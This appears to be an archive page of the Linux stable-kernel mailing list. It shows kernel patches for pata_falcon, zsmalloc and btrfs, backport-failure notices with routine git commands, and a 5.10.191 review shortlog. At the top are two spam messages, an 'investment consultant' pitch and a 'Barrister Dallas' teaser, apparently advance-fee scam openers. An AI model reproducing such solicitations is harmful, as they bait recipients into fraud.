Investment Consultation
by David Brennan
Attn:
I'm an Investment Consultant in the United Kingdom, I specialize
in searching for potential investments opportunities for high
net-worth clients worldwide.
Should this be of interest to you, please do not hesitate to
email me for further information.
Kind regards,
David Brennan
eMail:davbrennanb@gmail.com
2 years, 4 months
- 1
- 0
With all due respect
by Dallas
Greetings,
I am Barrister Dallas. I have a very important message to discuss with
you. Hoping to receive your reply soon.
Barrister Dallas
2 years, 4 months
- 1
- 0
[PATCH 1/3] m68k/q40: fix IO base selection for Q40 in pata_falcon.c
by Michael Schmitz
With commit 44b1fbc0f5f3 ("m68k/q40: Replace q40ide driver
with pata_falcon and falconide"), the Q40 IDE driver was
replaced by pata_falcon.c.
Both IO and memory resources were defined for the Q40 IDE
platform device, but definition of the IDE register addresses
was modeled after the Falcon case, both in use of the memory
resources and in including register scale and byte vs. word
offset in the address.
This was correct for the Falcon case, which does not apply
any address translation to the register addresses. In the
Q40 case, all of device base address, byte access offset
and register scaling is included in the platform specific
ISA access translation (in asm/mm_io.h).
As a consequence, such address translation gets applied
twice, and register addresses are mangled.
Use the device base address from the platform IO resource,
and use standard register offsets from that base in order
to calculate register addresses (the IO address translation
will then apply the correct ISA window base and scaling).
Encode PIO_OFFSET into IO port addresses for all registers
except the data transfer register. Encode the MMIO offset
there (pata_falcon_data_xfer() directly uses raw IO with
no address translation).
Reported-by: William R Sowerbutts <will(a)sowerbutts.com>
Closes: https://lore.kernel.org/r/CAMuHMdUU62jjunJh9cqSqHT87B0H0A4udOOPs=WN7WZKpcag…
Link: https://lore.kernel.org/r/CAMuHMdUU62jjunJh9cqSqHT87B0H0A4udOOPs=WN7WZKpcag…
Fixes: 44b1fbc0f5f3 ("m68k/q40: Replace q40ide driver with pata_falcon and falconide")
Cc: <stable(a)vger.kernel.org> # 5.14
Cc: Finn Thain <fthain(a)linux-m68k.org>
Cc: Geert Uytterhoeven <geert(a)linux-m68k.org>
Signed-off-by: Michael Schmitz <schmitzmic(a)gmail.com>
---
Changes from RFC v3:
- split off byte swap option into separate patch
Geert Uytterhoeven:
- review comments
Changes from RFC v2:
- add driver parameter 'data_swap' as bit mask for drives to swap
Changes from RFC v1:
Finn Thain:
- take care to supply IO address suitable for ioread8/iowrite8
- use MMIO address for data transfer
---
drivers/ata/pata_falcon.c | 55 ++++++++++++++++++++++++---------------
1 file changed, 34 insertions(+), 21 deletions(-)
diff --git a/drivers/ata/pata_falcon.c b/drivers/ata/pata_falcon.c
index 996516e64f13..346259e3bbc8 100644
--- a/drivers/ata/pata_falcon.c
+++ b/drivers/ata/pata_falcon.c
@@ -123,8 +123,8 @@ static int __init pata_falcon_init_one(struct platform_device *pdev)
struct resource *base_res, *ctl_res, *irq_res;
struct ata_host *host;
struct ata_port *ap;
- void __iomem *base;
- int irq = 0;
+ void __iomem *base, *ctl_base;
+ int irq = 0, io_offset = 1, reg_scale = 4;
dev_info(&pdev->dev, "Atari Falcon and Q40/Q60 PATA controller\n");
@@ -165,26 +165,39 @@ static int __init pata_falcon_init_one(struct platform_device *pdev)
ap->pio_mask = ATA_PIO4;
ap->flags |= ATA_FLAG_SLAVE_POSS | ATA_FLAG_NO_IORDY;
- base = (void __iomem *)base_mem_res->start;
/* N.B. this assumes data_addr will be used for word-sized I/O only */
- ap->ioaddr.data_addr = base + 0 + 0 * 4;
- ap->ioaddr.error_addr = base + 1 + 1 * 4;
- ap->ioaddr.feature_addr = base + 1 + 1 * 4;
- ap->ioaddr.nsect_addr = base + 1 + 2 * 4;
- ap->ioaddr.lbal_addr = base + 1 + 3 * 4;
- ap->ioaddr.lbam_addr = base + 1 + 4 * 4;
- ap->ioaddr.lbah_addr = base + 1 + 5 * 4;
- ap->ioaddr.device_addr = base + 1 + 6 * 4;
- ap->ioaddr.status_addr = base + 1 + 7 * 4;
- ap->ioaddr.command_addr = base + 1 + 7 * 4;
-
- base = (void __iomem *)ctl_mem_res->start;
- ap->ioaddr.altstatus_addr = base + 1;
- ap->ioaddr.ctl_addr = base + 1;
-
- ata_port_desc(ap, "cmd 0x%lx ctl 0x%lx",
- (unsigned long)base_mem_res->start,
- (unsigned long)ctl_mem_res->start);
+ ap->ioaddr.data_addr = (void __iomem *)base_mem_res->start;
+
+ if (base_res) { /* only Q40 has IO resources */
+ io_offset = 0x10000;
+ reg_scale = 1;
+ base = (void __iomem *)base_res->start;
+ ctl_base = (void __iomem *)ctl_res->start;
+
+ ata_port_desc(ap, "cmd %pa ctl %pa",
+ &base_res->start,
+ &ctl_res->start);
+ } else {
+ base = (void __iomem *)base_mem_res->start;
+ ctl_base = (void __iomem *)ctl_mem_res->start;
+
+ ata_port_desc(ap, "cmd %pa ctl %pa",
+ &base_mem_res->start,
+ &ctl_mem_res->start);
+ }
+
+ ap->ioaddr.error_addr = base + io_offset + 1 * reg_scale;
+ ap->ioaddr.feature_addr = base + io_offset + 1 * reg_scale;
+ ap->ioaddr.nsect_addr = base + io_offset + 2 * reg_scale;
+ ap->ioaddr.lbal_addr = base + io_offset + 3 * reg_scale;
+ ap->ioaddr.lbam_addr = base + io_offset + 4 * reg_scale;
+ ap->ioaddr.lbah_addr = base + io_offset + 5 * reg_scale;
+ ap->ioaddr.device_addr = base + io_offset + 6 * reg_scale;
+ ap->ioaddr.status_addr = base + io_offset + 7 * reg_scale;
+ ap->ioaddr.command_addr = base + io_offset + 7 * reg_scale;
+
+ ap->ioaddr.altstatus_addr = ctl_base + io_offset;
+ ap->ioaddr.ctl_addr = ctl_base + io_offset;
irq_res = platform_get_resource(pdev, IORESOURCE_IRQ, 0);
if (irq_res && irq_res->start > 0) {
--
2.17.1
2 years, 4 months
- 4
- 6
FAILED: patch "[PATCH] zsmalloc: fix races between modifications of fullness and" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 4b5d1e47b69426c0f7491d97d73ad0152d02d437
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023081217-gender-font-a356@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
4b5d1e47b694 ("zsmalloc: fix races between modifications of fullness and isolated")
c0547d0b6a4b ("zsmalloc: consolidate zs_pool's migrate_lock and size_class's locks")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 4b5d1e47b69426c0f7491d97d73ad0152d02d437 Mon Sep 17 00:00:00 2001
From: Andrew Yang <andrew.yang(a)mediatek.com>
Date: Fri, 21 Jul 2023 14:37:01 +0800
Subject: [PATCH] zsmalloc: fix races between modifications of fullness and
isolated
We encountered many kernel exceptions of VM_BUG_ON(zspage->isolated ==
0) in dec_zspage_isolation() and BUG_ON(!pages[1]) in zs_unmap_object()
lately. This issue only occurs when migration and reclamation occur at
the same time.
With our memory stress test, we can reproduce this issue several times
a day. We have no idea why no one else encountered this issue. BTW,
we switched to the new kernel version with this defect a few months
ago.
Since fullness and isolated share the same unsigned int, modifications of
them should be protected by the same lock.
[andrew.yang(a)mediatek.com: move comment]
Link: https://lkml.kernel.org/r/20230727062910.6337-1-andrew.yang@mediatek.com
Link: https://lkml.kernel.org/r/20230721063705.11455-1-andrew.yang@mediatek.com
Fixes: c4549b871102 ("zsmalloc: remove zspage isolation for migration")
Signed-off-by: Andrew Yang <andrew.yang(a)mediatek.com>
Reviewed-by: Sergey Senozhatsky <senozhatsky(a)chromium.org>
Cc: AngeloGioacchino Del Regno <angelogioacchino.delregno(a)collabora.com>
Cc: Matthias Brugger <matthias.bgg(a)gmail.com>
Cc: Minchan Kim <minchan(a)kernel.org>
Cc: Sebastian Andrzej Siewior <bigeasy(a)linutronix.de>
Cc: <stable(a)vger.kernel.org>
Signed-off-by: Andrew Morton <akpm(a)linux-foundation.org>
diff --git a/mm/zsmalloc.c b/mm/zsmalloc.c
index 3f057970504e..32916d28d9d9 100644
--- a/mm/zsmalloc.c
+++ b/mm/zsmalloc.c
@@ -1798,6 +1798,7 @@ static void replace_sub_page(struct size_class *class, struct zspage *zspage,
static bool zs_page_isolate(struct page *page, isolate_mode_t mode)
{
+ struct zs_pool *pool;
struct zspage *zspage;
/*
@@ -1807,9 +1808,10 @@ static bool zs_page_isolate(struct page *page, isolate_mode_t mode)
VM_BUG_ON_PAGE(PageIsolated(page), page);
zspage = get_zspage(page);
- migrate_write_lock(zspage);
+ pool = zspage->pool;
+ spin_lock(&pool->lock);
inc_zspage_isolation(zspage);
- migrate_write_unlock(zspage);
+ spin_unlock(&pool->lock);
return true;
}
@@ -1875,12 +1877,12 @@ static int zs_page_migrate(struct page *newpage, struct page *page,
kunmap_atomic(s_addr);
replace_sub_page(class, zspage, newpage, page);
+ dec_zspage_isolation(zspage);
/*
* Since we complete the data copy and set up new zspage structure,
* it's okay to release the pool's lock.
*/
spin_unlock(&pool->lock);
- dec_zspage_isolation(zspage);
migrate_write_unlock(zspage);
get_page(newpage);
@@ -1897,14 +1899,16 @@ static int zs_page_migrate(struct page *newpage, struct page *page,
static void zs_page_putback(struct page *page)
{
+ struct zs_pool *pool;
struct zspage *zspage;
VM_BUG_ON_PAGE(!PageIsolated(page), page);
zspage = get_zspage(page);
- migrate_write_lock(zspage);
+ pool = zspage->pool;
+ spin_lock(&pool->lock);
dec_zspage_isolation(zspage);
- migrate_write_unlock(zspage);
+ spin_unlock(&pool->lock);
}
static const struct movable_operations zsmalloc_mops = {
2 years, 4 months
- 2
- 1
[PATCH 5.10 00/68] 5.10.191-rc1 review
by Greg Kroah-Hartman
This is the start of the stable review cycle for the 5.10.191 release.
There are 68 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Tue, 15 Aug 2023 21:16:53 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v5.x/stable-review/patch-5.10.191-r…
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-5.10.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Linux 5.10.191-rc1
Eric Dumazet <edumazet(a)google.com>
sch_netem: fix issues in netem_change() vs get_dist_table()
Masahiro Yamada <masahiroy(a)kernel.org>
alpha: remove __init annotation from exported page_is_ram()
Nilesh Javali <njavali(a)marvell.com>
scsi: qedf: Fix firmware halt over suspend and resume
Nilesh Javali <njavali(a)marvell.com>
scsi: qedi: Fix firmware halt over suspend and resume
Zhu Wang <wangzhu9(a)huawei.com>
scsi: core: Fix possible memory leak if device_add() fails
Zhu Wang <wangzhu9(a)huawei.com>
scsi: snic: Fix possible memory leak if device_add() fails
Alexandra Diupina <adiupina(a)astralinux.ru>
scsi: 53c700: Check that command slot is not NULL
Michael Kelley <mikelley(a)microsoft.com>
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Tony Battersby <tonyb(a)cybernetics.com>
scsi: core: Fix legacy /proc parsing buffer overflow
Pablo Neira Ayuso <pablo(a)netfilter.org>
netfilter: nf_tables: report use refcount overflow
Ming Lei <ming.lei(a)redhat.com>
nvme-rdma: fix potential unbalanced freeze & unfreeze
Ming Lei <ming.lei(a)redhat.com>
nvme-tcp: fix potential unbalanced freeze & unfreeze
Josef Bacik <josef(a)toxicpanda.com>
btrfs: set cache_block_group_error if we find an error
Christoph Hellwig <hch(a)lst.de>
btrfs: don't stop integrity writeback too early
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Handle DMA unmapping of login buffs in release functions
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Unmap DMA login rsp buffer on send login fail
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Enforce stronger sanity checks on login response
Daniel Jurgens <danielj(a)nvidia.com>
net/mlx5: Allow 0 for total host VFs
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Jie Wang <wangjie125(a)huawei.com>
net: hns3: add wait until mac link down
Jie Wang <wangjie125(a)huawei.com>
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
Li Yang <leoyang.li(a)nxp.com>
net: phy: at803x: remove set/get wol callbacks for AR8032
Felix Fietkau <nbd(a)nbd.name>
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Douglas Miller <doug.miller(a)cornelisnetworks.com>
IB/hfi1: Fix possible panic during hotplug remove
Andrew Kanner <andrew.kanner(a)gmail.com>
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Eric Dumazet <edumazet(a)google.com>
dccp: fix data-race around dp->dccps_mss_cache
Ziyang Xuan <william.xuanziyang(a)huawei.com>
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
Florian Westphal <fw(a)strlen.de>
tunnels: fix kasan splat when generating ipv4 pmtu error
Eric Dumazet <edumazet(a)google.com>
net/packet: annotate data-races around tp->status
Nathan Chancellor <nathan(a)kernel.org>
mISDN: Update parameter type of dsp_cmx_send()
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: tc_flower: Relax success criterion
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Switch off timeout
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Skip test when no interfaces are specified
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Add a helper to skip test when using veth pairs
Mark Brown <broonie(a)kernel.org>
selftests/rseq: Fix build with undefined __weak
Florian Westphal <fw(a)strlen.de>
netfilter: nf_tables: don't skip expired elements during walk
Karol Herbst <kherbst(a)redhat.com>
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Arnd Bergmann <arnd(a)arndb.de>
x86: Move gds_ucode_mitigated() declaration to header
Arnd Bergmann <arnd(a)arndb.de>
x86/speculation: Add cpu_show_gds() prototype
Kirill A. Shutemov <kirill.shutemov(a)linux.intel.com>
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Cristian Ciocaltea <cristian.ciocaltea(a)collabora.com>
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Nick Desaulniers <ndesaulniers(a)google.com>
x86/srso: Fix build breakage with the LLVM linker
Prashanth K <quic_prashk(a)quicinc.com>
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Elson Roy Serrao <quic_eserrao(a)quicinc.com>
usb: dwc3: Properly handle processing of pending events
Alan Stern <stern(a)rowland.harvard.edu>
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Qi Zheng <zhengqi.arch(a)bytedance.com>
binder: fix memory leak in binder_init()
Yiyuan Guo <yguoaz(a)gmail.com>
iio: cros_ec: Fix the allocation size for cros_ec_command
Aleksa Sarai <cyphar(a)cyphar.com>
io_uring: correct check for O_TMPFILE
Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Thomas Gleixner <tglx(a)linutronix.de>
x86/pkeys: Revert a5eff7259790 ("x86/pkeys: Add PKRU value to init_fpstate")
Colin Ian King <colin.i.king(a)gmail.com>
radix tree test suite: fix incorrect allocation size for pthreads
Tao Ren <rentao.bupt(a)gmail.com>
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Melissa Wen <mwen(a)igalia.com>
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Boris Brezillon <boris.brezillon(a)collabora.com>
drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Karol Herbst <kherbst(a)redhat.com>
drm/nouveau/gr: enable memory loads on helper invocation on all channels
Andrea Parri <parri.andrea(a)gmail.com>
riscv,mmio: Fix readX()-to-delay() ordering
Ilpo Järvinen <ilpo.jarvinen(a)linux.intel.com>
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Ilya Leoshkevich <iii(a)linux.ibm.com>
selftests/bpf: Fix sk_assign on s390x
Yonghong Song <yhs(a)fb.com>
selftests/bpf: Workaround verification failure for fexit_bpf2bpf/func_replace_return_code
Andrii Nakryiko <andrii(a)kernel.org>
selftests/bpf: make test_align selftest more robust
Andrii Nakryiko <andrii(a)kernel.org>
bpf: aggressively forget precise markings during state checkpointing
Andrii Nakryiko <andrii(a)kernel.org>
bpf: stop setting precise in current state
Andrii Nakryiko <andrii(a)kernel.org>
bpf: allow precision tracking for programs with subprogs
Maciej Żenczykowski <maze(a)google.com>
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Sergei Antonov <saproj(a)gmail.com>
mmc: moxart: read scr register without changing byte order
Jason A. Donenfeld <Jason(a)zx2c4.com>
wireguard: allowedips: expand maximum node depth
-------------
Diffstat:
Makefile | 4 +-
arch/alpha/kernel/setup.c | 3 +-
arch/riscv/include/asm/mmio.h | 16 +-
arch/x86/entry/vdso/vma.c | 4 +-
arch/x86/include/asm/processor.h | 2 +
arch/x86/kernel/cpu/amd.c | 1 +
arch/x86/kernel/cpu/common.c | 5 -
arch/x86/kernel/vmlinux.lds.S | 12 +-
arch/x86/kvm/x86.c | 2 -
arch/x86/mm/pkeys.c | 6 -
drivers/android/binder.c | 1 +
drivers/android/binder_alloc.c | 6 +
drivers/android/binder_alloc.h | 1 +
drivers/dma/mcf-edma.c | 13 +-
drivers/dma/pl330.c | 18 ++-
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7 +-
drivers/gpu/drm/drm_gem_shmem_helper.c | 6 +
drivers/gpu/drm/nouveau/nouveau_connector.c | 2 +-
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4 +-
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10 ++
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1 +
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1 +
drivers/hwmon/pmbus/bel-pfe.c | 16 +-
.../common/cros_ec_sensors/cros_ec_sensors_core.c | 2 +-
drivers/infiniband/hw/hfi1/chip.c | 1 +
drivers/isdn/mISDN/dsp.h | 2 +-
drivers/isdn/mISDN/dsp_cmx.c | 2 +-
drivers/isdn/mISDN/dsp_core.c | 2 +-
drivers/mmc/host/moxart-mmc.c | 8 +-
drivers/net/bonding/bond_main.c | 4 +-
.../ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24 ++-
drivers/net/ethernet/ibm/ibmvnic.c | 38 ++++-
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3 +-
drivers/net/phy/at803x.c | 2 -
drivers/net/tun.c | 2 +-
drivers/net/wireguard/allowedips.c | 8 +-
drivers/net/wireguard/selftest/allowedips.c | 16 +-
drivers/nvme/host/rdma.c | 3 +-
drivers/nvme/host/tcp.c | 3 +-
drivers/scsi/53c700.c | 2 +-
drivers/scsi/qedf/qedf_main.c | 18 +++
drivers/scsi/qedi/qedi_main.c | 18 +++
drivers/scsi/raid_class.c | 1 +
drivers/scsi/scsi_proc.c | 30 ++--
drivers/scsi/snic/snic_disc.c | 1 +
drivers/scsi/storvsc_drv.c | 4 -
drivers/usb/common/usb-conn-gpio.c | 6 +-
drivers/usb/dwc3/gadget.c | 9 +-
drivers/usb/storage/alauda.c | 12 +-
fs/btrfs/extent-tree.c | 5 +-
fs/btrfs/extent_io.c | 7 +-
fs/nilfs2/inode.c | 8 +
fs/nilfs2/segment.c | 2 +
fs/nilfs2/the_nilfs.h | 2 +
include/linux/cpu.h | 2 +
include/net/cfg80211.h | 3 +
include/net/netfilter/nf_tables.h | 31 +++-
io_uring/io_uring.c | 6 +-
kernel/bpf/verifier.c | 175 +++++++++++++++++++--
net/dccp/output.c | 2 +-
net/dccp/proto.c | 10 +-
net/ipv4/ip_tunnel_core.c | 2 +-
net/ipv6/ndisc.c | 3 +-
net/netfilter/nf_tables_api.c | 175 +++++++++++++--------
net/netfilter/nft_flow_offload.c | 6 +-
net/netfilter/nft_immediate.c | 8 +-
net/netfilter/nft_objref.c | 8 +-
net/netfilter/nft_set_hash.c | 2 -
net/netfilter/nft_set_pipapo.c | 18 ++-
net/netfilter/nft_set_rbtree.c | 2 -
net/packet/af_packet.c | 16 +-
net/sched/sch_netem.c | 59 +++----
tools/testing/radix-tree/regression1.c | 2 +-
tools/testing/selftests/bpf/prog_tests/align.c | 36 +++--
tools/testing/selftests/bpf/prog_tests/sk_assign.c | 25 ++-
tools/testing/selftests/bpf/progs/connect4_prog.c | 2 +-
tools/testing/selftests/bpf/progs/test_sk_assign.c | 11 ++
.../selftests/bpf/progs/test_sk_assign_libbpf.c | 3 +
tools/testing/selftests/net/forwarding/ethtool.sh | 2 +
.../net/forwarding/ethtool_extended_state.sh | 2 +
tools/testing/selftests/net/forwarding/lib.sh | 16 ++
tools/testing/selftests/net/forwarding/settings | 1 +
.../testing/selftests/net/forwarding/tc_flower.sh | 8 +-
tools/testing/selftests/rseq/Makefile | 4 +-
tools/testing/selftests/rseq/rseq.c | 2 +
87 files changed, 737 insertions(+), 293 deletions(-)
2 years, 4 months
- 9
- 77
[PATCH 0/6] Backport rework of deadline bandwidth restoration for 5.10.y
by Qais Yousef
This is a backport of the series that fixes the way deadline bandwidth
restoration is done which is causing noticeable delay on resume path. It also
converts the cpuset lock back into a mutex which some users on Android too.
I lack the details but AFAIU the read/write semaphore was slower on high
contention.
Compile tested against some randconfig for different archs and tested against
android13-5.10 GKI kernel.
My testing is limited to resume path only; and general phone usage to make sure
nothing falls apart. Would be good to have some deadline specific testing done
too.
Based on v5.10.191
Original series:
https://lore.kernel.org/lkml/20230508075854.17215-1-juri.lelli@redhat.com/
Thanks!
--
Qais Yousef
Dietmar Eggemann (2):
sched/deadline: Create DL BW alloc, free & check overflow interface
cgroup/cpuset: Free DL BW in case can_attach() fails
Juri Lelli (4):
cgroup/cpuset: Rename functions dealing with DEADLINE accounting
sched/cpuset: Bring back cpuset_mutex
sched/cpuset: Keep track of SCHED_DEADLINE task in cpusets
cgroup/cpuset: Iterate only if DEADLINE tasks are present
include/linux/cpuset.h | 12 ++-
include/linux/sched.h | 4 +-
kernel/cgroup/cgroup.c | 4 +
kernel/cgroup/cpuset.c | 161 ++++++++++++++++++++++++++++------------
kernel/sched/core.c | 41 +++++-----
kernel/sched/deadline.c | 66 ++++++++++++----
kernel/sched/sched.h | 2 +-
7 files changed, 202 insertions(+), 88 deletions(-)
--
2.34.1
2 years, 4 months
- 2
- 8
FAILED: patch "[PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x c962098ca4af146f2625ed64399926a098752c9c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082002-say-opposing-542b@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
c962098ca4af ("btrfs: fix incorrect splitting in btrfs_drop_extent_map_range")
db21370bffbc ("btrfs: drop extent map range more efficiently")
f3109e33bb0a ("btrfs: use extent_map_end() at btrfs_drop_extent_map_range()")
4c0c8cfc8433 ("btrfs: move btrfs_drop_extent_cache() to extent_map.c")
cef7820d6abf ("btrfs: fix missed extent on fsync after dropping extent maps")
570eb97bace8 ("btrfs: unify the lock/unlock extent variants")
dbbf49928f2e ("btrfs: remove the wake argument from clear_extent_bits")
e3974c669472 ("btrfs: move core extent_io_tree functions to extent-io-tree.c")
38830018387e ("btrfs: move a few exported extent_io_tree helpers to extent-io-tree.c")
04eba8932392 ("btrfs: temporarily export and then move extent state helpers")
91af24e48474 ("btrfs: temporarily export and move core extent_io_tree tree functions")
6962541e964f ("btrfs: move btrfs_debug_check_extent_io_range into extent-io-tree.c")
ec39e39bbf97 ("btrfs: export wait_extent_bit")
a66318872c41 ("btrfs: move simple extent bit helpers out of extent_io.c")
ad795329574c ("btrfs: convert BUG_ON(EXTENT_BIT_LOCKED) checks to ASSERT's")
83cf709a89fb ("btrfs: move extent state init and alloc functions to their own file")
c45379a20fbc ("btrfs: temporarily export alloc_extent_state helpers")
a40246e8afc0 ("btrfs: separate out the eb and extent state leak helpers")
a62a3bd9546b ("btrfs: separate out the extent state and extent buffer init code")
87c11705cc94 ("btrfs: convert the io_failure_tree to a plain rb_tree")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c962098ca4af146f2625ed64399926a098752c9c Mon Sep 17 00:00:00 2001
From: Josef Bacik <josef(a)toxicpanda.com>
Date: Thu, 17 Aug 2023 16:57:30 -0400
Subject: [PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.
Consider the following extent map layout
PINNED
[0 16K) [32K, 48K)
and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true. The initial loop will have
start = 0
end = 36K
len = 36K
we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code
start = em_end;
if (end != (u64)-1)
len = start + len - em_end;
em_end here is 16K, so now the values are
start = 16K
len = 16K + 36K - 16K = 36K
len should instead be 20K. This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this
split->start = start + len;
split->len = em_end - (start + len);
In this case we have
em_end = 48K
split->start = 16K + 36K // this should be 16K + 20K
split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K
and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map. Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.
We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.
Adjust the logic to do this, which keeps us from inserting an invalid
extent map.
We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.
Fixes: 55ef68990029 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case")
CC: stable(a)vger.kernel.org # 4.14+
Reviewed-by: Filipe Manana <fdmanana(a)suse.com>
Signed-off-by: Josef Bacik <josef(a)toxicpanda.com>
Signed-off-by: David Sterba <dsterba(a)suse.com>
diff --git a/fs/btrfs/extent_map.c b/fs/btrfs/extent_map.c
index 0cdb3e86f29b..a6d8368ed0ed 100644
--- a/fs/btrfs/extent_map.c
+++ b/fs/btrfs/extent_map.c
@@ -760,8 +760,6 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (skip_pinned && test_bit(EXTENT_FLAG_PINNED, &em->flags)) {
start = em_end;
- if (end != (u64)-1)
- len = start + len - em_end;
goto next;
}
@@ -829,8 +827,8 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (!split)
goto remove_em;
}
- split->start = start + len;
- split->len = em_end - (start + len);
+ split->start = end;
+ split->len = em_end - end;
split->block_start = em->block_start;
split->flags = flags;
split->compress_type = em->compress_type;
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range" failed to apply to 4.19-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x c962098ca4af146f2625ed64399926a098752c9c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082000-sincerity-outsource-e807@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..
Possible dependencies:
c962098ca4af ("btrfs: fix incorrect splitting in btrfs_drop_extent_map_range")
db21370bffbc ("btrfs: drop extent map range more efficiently")
f3109e33bb0a ("btrfs: use extent_map_end() at btrfs_drop_extent_map_range()")
4c0c8cfc8433 ("btrfs: move btrfs_drop_extent_cache() to extent_map.c")
cef7820d6abf ("btrfs: fix missed extent on fsync after dropping extent maps")
570eb97bace8 ("btrfs: unify the lock/unlock extent variants")
dbbf49928f2e ("btrfs: remove the wake argument from clear_extent_bits")
e3974c669472 ("btrfs: move core extent_io_tree functions to extent-io-tree.c")
38830018387e ("btrfs: move a few exported extent_io_tree helpers to extent-io-tree.c")
04eba8932392 ("btrfs: temporarily export and then move extent state helpers")
91af24e48474 ("btrfs: temporarily export and move core extent_io_tree tree functions")
6962541e964f ("btrfs: move btrfs_debug_check_extent_io_range into extent-io-tree.c")
ec39e39bbf97 ("btrfs: export wait_extent_bit")
a66318872c41 ("btrfs: move simple extent bit helpers out of extent_io.c")
ad795329574c ("btrfs: convert BUG_ON(EXTENT_BIT_LOCKED) checks to ASSERT's")
